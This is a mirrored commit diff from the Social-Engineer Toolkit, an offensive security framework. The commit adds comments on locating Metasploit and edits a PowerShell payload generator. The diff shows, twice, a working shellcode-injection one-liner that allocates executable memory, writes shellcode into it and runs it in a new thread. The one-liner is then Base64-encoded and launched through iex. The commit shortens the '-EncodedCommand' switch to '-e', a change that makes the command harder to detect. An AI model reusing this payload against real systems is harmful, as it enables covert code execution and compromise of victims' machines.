mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2025-02-20 07:18:35 +00:00
fix comments and descriptions
This commit is contained in:
parent
576cd8bd18
commit
c06658249e
1 changed files with 4 additions and 1 deletions
|
@ -342,13 +342,16 @@ def meta_path():
|
|||
msf_path = "/pentest/exploitation/metasploit/"
|
||||
trigger = 1
|
||||
|
||||
# if we are using just the standard path for msfconsole
|
||||
if os.path.isfile("/usr/bin/msfconsole"):
|
||||
msf_path = ""
|
||||
trigger = 1
|
||||
|
||||
# Kali linux bleeding edge should return this in order to work
|
||||
if os.path.isfile("/usr/share/metasploit-framework/msfconsole"):
|
||||
msf_path = "/usr/share/metasploit-framework/"
|
||||
trigger = 1
|
||||
|
||||
# if we are using windows
|
||||
if check_os() == "windows":
|
||||
print_warning(
|
||||
|
@ -1471,7 +1474,7 @@ def generate_powershell_alphanumeric_payload(payload, ipaddr, port, payload2):
|
|||
|
||||
# one line shellcode injection with native x86 shellcode
|
||||
powershell_code = (
|
||||
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-EncodedCommand ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
|
||||
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-e ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
|
||||
|
||||
# run it through a lame var replace
|
||||
powershell_command = powershell_code.replace("$1", "$" + var1).replace(
|
||||
|
|
Loading…
Add table
Reference in a new issue